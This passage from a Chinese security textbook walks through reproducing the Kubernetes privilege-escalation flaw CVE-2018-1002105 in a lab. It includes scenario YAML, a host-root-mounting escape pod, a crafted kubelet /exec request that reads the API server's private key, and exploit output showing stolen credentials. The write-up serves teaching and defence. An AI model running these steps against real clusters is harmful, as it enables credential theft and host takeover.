- 云原生安全:攻防實踐與體系構建
- 劉文懋 江國龍 浦明 阮博男 葉曉虎
- 2545字
- 2021-11-04 18:12:36
4.3.3 漏洞復現
1.環境準備
首先,我們需要一個存在CVE-2018-1002105漏洞的Kubernetes集群,筆者的測試集群版本為v1.11.1。
大家可以使用開源的metarget靶機項目在Ubuntu服務器上一鍵部署漏洞環境,在參照項目主頁安裝metarget后,直接執行以下命令:
./metarget cnv install cve-2018-1002105
即可部署好存在CVE-2018-1002105漏洞的Kubernetes集群。
另外,在這里我們也介紹一下安裝特定版本Kubernetes集群的方法,以供感興趣的讀者了解。
假設我們需要在Ubuntu主機上安裝x.y.z-ab版本的Kubernetes。
首先安裝必要組件:
·參照Docker官方文檔[1]安裝好Docker。
·參考Kubernetes官方文檔[2]進行配置和安裝,注意,在執行“apt-get install -y kubelet kubeadm kubectl”命令時,需要先查看一下各組件可選版本,執行如下命令:
apt-cache madison kubelet kubeadm kubectl
在其中應該可以看到我們需要的x.y.z-ab版本的組件的具體版本號。接著,安裝指定版本的組件即可,執行如下命令:
apt-get install -y kubelet=x.y.z-ab kubeadm=x.y.z-ab kubectl=x.y.z-ab
安裝可能報錯,提示需要安裝某版本的kubernetes-cni,我們按照上述步驟先安裝指定版本的kubernetes-cni,再安裝上面三組件即可。安裝完后,繼續走完官方文檔的后續步驟。
至此,必要組件安裝完畢。
接著,參考官方文檔[3]使用kubeadm創建集群。為了方便起見,我們最好在執行kubeadm init命令前,把所需鏡像拉取到本地。在不低于v1.11版本的kubeadm環境下,我們可以使用以下命令來查看所需鏡像:
kubeadm config images list
然后依次拉取即可,例如:
docker pull k8s.gcr.io/kube-apiserver-amd64:v1.11.1
最后,執行如下命令:
kubeadm init --pod-network-cidr 10.244.0.0/16 --kubernetes-version=1.11.1
按照以上步驟,我們即可安裝特定版本Kubernetes。后續配置步驟繼續參考官方文檔或根據需要進行。
關于Kubernetes安裝方法的介紹就到這里,言歸正傳,模擬的場景如下。
在集群中存在一個命名空間test,其中存在一個正在運行的業務Pod“test”,攻擊者具有test命名空間下Pod的exec權限,但是不具備其他高級權限(如管理員或集群管理員權限)。后面憑借CVE-2018-1002105漏洞,攻擊者能夠將自己的權限提升為API Server的權限。
接著,我們需要布置一下攻擊場景,準備以下文件:
·cve-2018-1002105_namespace.yaml,用于創建測試命名空間test:
# cve_2018_1002105_namespace.yaml apiVersion: v1 kind: Namespace metadata: name: test
·cve-2018-1002105_role.yaml,用于在命名空間test內創建角色test,該角色具有對命名空間內Pod的必要權限及exec權限:
# cve_2018_1002105_role.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: test namespace: test rules: - apiGroups: - "" resources: - pods verbs: - get - list - delete - watch - apiGroups: - "" resources: - pods/exec verbs: - create - get
·cve-2018-1002105_rolebinding.yaml,用于在命名空間test內創建角色綁定test,用于將用戶test與角色test綁定(為用戶test賦予角色test的權限):
# cve_2018_1002105_role_binding.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test namespace: test roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: test subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: test
·cve-2018-1002105_pod.yaml,用于在命名空間test內創建測試用的業務Pod“test”:
# cve_2018_1002105_pod.yaml apiVersion: v1 kind: Pod metadata: name: test namespace: test spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] serviceAccount: default serviceAccountName: default
·test-token.csv,用戶test的認證憑證:
password,test,test,test
準備好這些文件后,首先創建相應的Kubernetes資源,執行如下命令:
kubectl apply cve_2018_1002105_namespace.yaml kubectl apply cve_2018_1002105_role.yaml kubectl apply cve_2018_1002105_role_binding.yaml kubectl apply cve_2018_1002105_pod.yaml
接著,配置用戶認證,執行如下命令:
cp test-token.csv /etc/kubernetes/pki/test-role-token.csv
在API Server的配置文件/etc/kubernetes/manifests/kube-apiserver.yaml中容器的啟動參數部分末尾(spec.container.commands)增加一行配置:
--token-auth-file=/etc/kubernetes/pki/test-token.csv
然后等待API Server重啟即可。至此,場景搭建完畢。我們測試一下上述配置是否成功:
root@k8s:~# kubectl --token=password --server=https://192.168.19.216:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname test root@k8s:~# kubectl --token=password --server=https://192.168.19.216:6443 --insecure-skip-tls-verify get pods -n kube-system Error from server (Forbidden): pods is forbidden: User "test" cannot list pods in the namespace "kube-system"
結果顯示能夠對指定Pod執行命令,但是不能執行其他越權操作,符合場景預期。
2.漏洞利用
該漏洞能夠實現權限提升,那么,我們希望能夠利用這個漏洞,將攻擊者的低權限提升為高權限,然后創建一個掛載宿主機根目錄的Pod,實現容器逃逸。我們可以先給出用來進行容器逃逸的Pod的YAML聲明文件:
# attacker.yaml apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumeMounts: - name: escape-host mountPath: /host-escape-door volumes: - name: escape-host hostPath: path: /
只要我們拿到了最高權限,就能夠創建一個這樣的Pod,實現容器逃逸。
好了,言歸正傳?;谇拔牡穆┒捶治觯覀儗嵸|上最終能夠憑借漏洞獲得的是一個具有高權限的WebSocket連接,可以通過這個連接向Kubelet API Server發送命令。那么,Kubelet能夠接收哪些命令呢?從源碼[4]中我們可以梳理出來一些Kubelet API Server支持的命令:
·/pods
·/run
·/exec
·/attach
·/portForward
·/containerLogs
·/runningpods/
·……
從字面意義不難猜出以上各命令的用途。其中,/exec允許對當前節點上某Pod執行任意命令,/runningpods/則能夠列出當前節點上的所有活動Pod。
我們如何借助這些特權來實現容器逃逸的目標呢?
經過研究,我們發現Kubernetes API Server Pod內部掛載了宿主機節點的/etc/kubernetes/pki目錄,這個目錄下存儲了大量敏感憑證:
root@k8s:~# kubectl describe -n kube-system pod kube-apiserver-victim-2 | tail -n 25 | head -n 5 Volumes: k8s-certs: Type: HostPath (bare host directory volume) Path: /etc/kubernetes/pki HostPathType: DirectoryOrCreate root@k8s:~# kubectl exec -it -n kube-system kube-apiserver-victim-2 /bin/ls / etc/kubernetes/pki apiserver-etcd-client.crt etcd apiserver-etcd-client.key front-proxy-ca.crt apiserver-kubelet-client.crt front-proxy-ca.key apiserver-kubelet-client.key front-proxy-client.crt apiserver.crt front-proxy-client.key apiserver.key sa.key ca.crt sa.pub ca.key test-token.csv
假如我們能夠借助exec對Kubernetes API Server執行讀取敏感憑證的命令,讀出憑證,就能利用憑證以高權限身份與Kubernetes API Server交互并創建新的Pod了。
思路有了,接下來就是實踐。本次實驗的技術流程如下:
1)構造錯誤請求,建立經Kubernetes API Server代理到Kubelet的高權限WebSocket連接。
2)利用高權限WebSocket連接,向Kubelet發起/runningpods/請求,獲得當前活動Pod列表。
3)從活動Pod列表中找到Kubernetes API Server的Pod名稱。
4)利用高權限WebSocket連接,向Kubelet發起/exec請求,指定Pod為上一步中獲得的Pod名稱,攜帶“利用cat命令讀取‘ca.crt’”作為參數,從返回結果中保存竊取到的文件。
5)利用高權限WebSocket連接,向Kubelet發起/exec請求,指定Pod為上一步中獲得的Pod名稱,攜帶“利用cat命令讀取‘apiserver-kubelet-client.crt’”作為參數,從返回結果中保存竊取到的文件。
6)利用高權限WebSocket連接,向Kubelet發起/exec請求,指定Pod為上一步中獲得的Pod名稱,攜帶“利用cat命令讀取‘apiserver-kubelet-client.key’”作為參數,從返回結果中保存竊取到的文件。
7)使用kubectl命令行工具,指定訪問憑證為第4、5、6步中竊取到的文件,創建掛載了宿主機根目錄的Pod,實現容器逃逸。
經過不斷嘗試和改進,我們實現了漏洞利用程序。由于代碼過長,為節約篇幅,未在書中列出,請讀者參考隨書源碼[5]。
現在,我們對模擬目標環境測試一下上述程序:
root@k8s:~# python ./exploit.py --target xxx.xxx.xxx.xxx --port 6443 --bearer-token password --namespace test --pod test [*] Exploiting CVE-2018-1002105... [*] Checking vulnerable or not... [+] Vulnerable to CVE-2018-1002105, continue. [*] Getting running pods list... [+] Got running pods list. [*] API Server is kube-apiserver-victim-2. [*] Creating new privileged pipe... [*] Trying to steal ca.crt... [+] Got ca.crt. [+] Secret ca.crt saved :) [*] Creating new privileged pipe... [*] Trying to steal apiserver-kubelet-client.crt... [+] Got apiserver-kubelet-client.crt. [+] Secret apiserver-kubelet-client.crt saved :) [*] Creating new privileged pipe... [*] Trying to steal apiserver-kubelet-client.key... [+] Got apiserver-kubelet-client.key. [+] Secret apiserver-kubelet-client.key saved :) [+] Enjoy your trip :)
可以看到,漏洞利用程序成功利用漏洞從Kubernetes API Server Pod中竊取了高權限憑證。
接著,我們就可以使用拿到的高權限憑證在集群中新建一個掛載了宿主機根目錄的Pod(前文已給出YAML聲明文件),執行如下命令:
kubectl --server=https://xxx.xxx.xxx.xxx:6443 --certificate-authority=./ca.crt --client-certificate=./apiserver-kubelet-client.crt --client-key=./apiserver- kubelet-client.key apply -f attacker.yaml
至此,我們利用CVE-2018-1002105漏洞完成了容器逃逸。
3.注意事項
在實踐過程中我們發現,為了順利復現漏洞,需要注意以下幾點:
1)除了“構造錯誤請求”時請求的是Kubernetes API Server外,后續的命令執行全部是對Kubelet發起的請求,Kubernetes API Server僅僅替我們做代理轉發,因此,后續需要直接請求Kubelet允許的API。
2)在向Kubelet發起/exec執行請求時,如果待執行的命令帶有參數,我們應該將參數同樣以command形式傳入,如/exec/kube-system/{api_server}/kube-apiserver?command=/bin/cat&command=/etc/kubernetes/pki/apiserver-kubelet-client.key&input=1&output=1&tty=0。
3)上面的復現實驗中,筆者使用了單節點Kubernetes集群,故攻擊者控制的Pod一定與Kubernetes API Server位于同一節點上,這一點在多節點集群環境中可能并不成立。
[1] https://docs.docker.com/engine/install/。
[2] https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/。
[3] https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/。
[4] https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go。
[5] https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py。
- 數據恢復方法及案例分析
- 電子支付的規制結構配置研究
- Mastering Kali Linux for Advanced Penetration Testing
- Penetration Testing with Perl
- Computer Forensics with FTK
- 計算機網絡安全技術研究
- CTF那些事兒
- 先進云安全研究與實踐
- Mastering Reverse Engineering
- 博弈論與數據安全
- 黑客攻擊與防范實戰從入門到精通
- Android Application Security Essentials
- Hands-On Bug Hunting for Penetration Testers
- CCNA Security 210-260 Certification Guide
- 網絡對抗的前世今生